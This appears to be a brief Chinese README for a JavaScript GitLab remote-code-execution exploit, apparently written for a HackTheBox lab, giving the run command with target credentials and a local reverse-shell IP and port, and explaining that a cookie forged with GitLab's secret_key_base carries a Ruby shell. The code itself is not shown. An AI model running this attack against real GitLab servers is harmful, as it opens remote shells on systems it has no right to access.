完全基于 https://github.com/dotPY-hax/gitlab_RCE,但该工具对我来说无法正常工作,且其 HTML 解析部分显得繁琐,因此我用 JS 重写了它。
按常规方式启动一个反向 Shell 监听器,然后运行此脚本:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
可通过 TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" 指定代理。
使用 Burp 进行调试尤为方便。
secrets.yml 中的 secret_key_basesecret_key_base 生成一个恶意 Cookie,携带我们的 Ruby Shell,并将其传递给 GitLab